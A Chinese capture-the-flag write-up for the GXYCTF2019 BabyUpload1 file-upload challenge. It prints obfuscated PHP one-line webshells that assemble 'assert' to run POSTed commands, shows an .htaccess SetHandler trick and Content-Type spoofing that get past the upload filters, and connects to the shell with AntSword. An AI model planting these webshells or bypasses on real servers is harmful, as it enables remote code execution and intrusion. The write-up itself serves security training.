当前位置: 首页 > news >正文

[GXYCTF2019]BabyUpload1 -- 题目分析与详解

目录

一、题目分析

1、判断题目类型:

2、上传不同类型的文件进行测试:

二、题目详解

1、写出.htaccess文件:

2、.htaccess 文件配合 .jpg 上传:

3、利用 中国蚁剑/中国菜刀 获取flag:


一、题目分析

1、判断题目类型:

打开靶机,进入靶场,页面如图所示:

判断题目类型为:文件上传漏洞类型。

2、上传不同类型的文件进行测试:

(1)首先上传一句话木马 test.php,代码如下:

<?php$a="a"."s";$b="s"."e"."rt";$c=$a.$b;$c($_POST['cmd']);
?>

代码中并没有写传统的一句话木马,因为直接写一句话木马需要关闭系统防火墙。

上传后页面如下图:

 

由此我们得知,文件后缀不可以有ph,那么php3,php5,phtml等后缀自然无法使用了。

(2)将文件后缀改为 jpg,上传后页面如下图:

由此我们得知,后端检测出我们的.jpg文件中含有php代码。

那么我们将.jpg文件中的php代码修改为 javascript 的形式,代码如下:

<script language='php'>$a = "a"."s";$b = "s"."e"."r"."t";$c = $a.$b;$c($_POST["003946ghs"]);
</script>

上传文件,返回页面如下:

我们发现上传成功,接下来只需要能够解析.jpg文件中的php代码就OK了。

解析.jpg文件中的php代码,我们可以使用.htaccess文件来进行实现。


二、题目详解

1、写出.htaccess文件:

新建一个名为 .htaccess 文件,并使用 VS / 记事本打开。

写入以下代码:

SetHandler application/x-httpd-php

这条命令可以解析所有后缀文件中的 php 代码。

2、.htaccess 文件配合 .jpg 上传:

先上传 .htaccess 文件,响应页面如下:

由此我们得知,后端代码对文件类型--Content-type有限制。

所以我们在上传 .htaccess 文件的同时,利用Burpsuite进行抓包,修改 Content-type为image/jpeg。

抓包界面如下:

发包上传,响应界面如下:

页面提示我们上传成功 (.htaccess successfully uploaded)。 

.htaccess 文件上传成功后,我们上传 .jpg 文件,响应界面如下:

页面提示我们也上传成功 (.htaccess successfully uploaded)。

且通过页面回显信息,我们可以拼接出网址,如下:

3、利用 中国蚁剑/中国菜刀 获取flag:

打开蚁剑,添加数据,将我们方才拼接好的网址复制过来,并输入一句话木马连接密码,编码器选择 base64,界面如下:

测试连接,发现连接成功:

添加数据,打开,在根目录下找到flag:

拿到flag值:

提交--正确。

相关文章:

  • 探讨苹果 Vision Pro 的 AI 数字人形象问题
  • Linux相关小技巧《一》
  • LeetCode每日一题之 移动0
  • C++之结构体以及通讯录管理系统
  • 第四十七回 一丈青单捉王矮虎 宋公明二打祝家庄-强大而灵活的python装饰器
  • 在git中自动把CRLF转换到LF的方法
  • iOS-UILabel调整行间距
  • RK3568开发笔记-qt程序运行报错Failed to move cursor on screen
  • 100243. 将元素分配到两个数组中 I
  • 经典的算法面试题(1)
  • C++从零开始的打怪升级之路(day41)
  • 算法知识(java)随笔
  • 知识图谱1——neo4j
  • 边缘计算网关的重要作用-天拓四方
  • redis一些概念知识
  • [ JavaScript ] 数据结构与算法 —— 链表
  • 【刷算法】从上往下打印二叉树
  • express如何解决request entity too large问题
  • Fabric架构演变之路
  • IDEA 插件开发入门教程
  • miniui datagrid 的客户端分页解决方案 - CS结合
  • Python 反序列化安全问题(二)
  • Python_网络编程
  • 诡异!React stopPropagation失灵
  • 简单数学运算程序(不定期更新)
  • 老板让我十分钟上手nx-admin
  • 罗辑思维在全链路压测方面的实践和工作笔记
  • 如何在GitHub上创建个人博客
  • 入门到放弃node系列之Hello Word篇
  • 微信小程序填坑清单
  • 为视图添加丝滑的水波纹
  • 文本多行溢出显示...之最后一行不到行尾的解决
  • 异步
  • 追踪解析 FutureTask 源码
  • 最近的计划
  • 分布式关系型数据库服务 DRDS 支持显示的 Prepare 及逻辑库锁功能等多项能力 ...
  • 机器人开始自主学习,是人类福祉,还是定时炸弹? ...
  • ​LeetCode解法汇总2304. 网格中的最小路径代价
  • #我与Java虚拟机的故事#连载15:完整阅读的第一本技术书籍
  • (13)Hive调优——动态分区导致的小文件问题
  • (26)4.7 字符函数和字符串函数
  • (delphi11最新学习资料) Object Pascal 学习笔记---第5章第5节(delphi中的指针)
  • (webRTC、RecordRTC):navigator.mediaDevices undefined
  • (二)windows配置JDK环境
  • (附源码)springboot社区居家养老互助服务管理平台 毕业设计 062027
  • (附源码)springboot太原学院贫困生申请管理系统 毕业设计 101517
  • (附源码)基于SSM多源异构数据关联技术构建智能校园-计算机毕设 64366
  • (力扣记录)235. 二叉搜索树的最近公共祖先
  • (免费领源码)python#django#mysql公交线路查询系统85021- 计算机毕业设计项目选题推荐
  • (七)微服务分布式云架构spring cloud - common-service 项目构建过程
  • (新)网络工程师考点串讲与真题详解
  • (转)Android中使用ormlite实现持久化(一)--HelloOrmLite
  • (转)jQuery 基础
  • (转)Oracle存储过程编写经验和优化措施
  • (转)德国人的记事本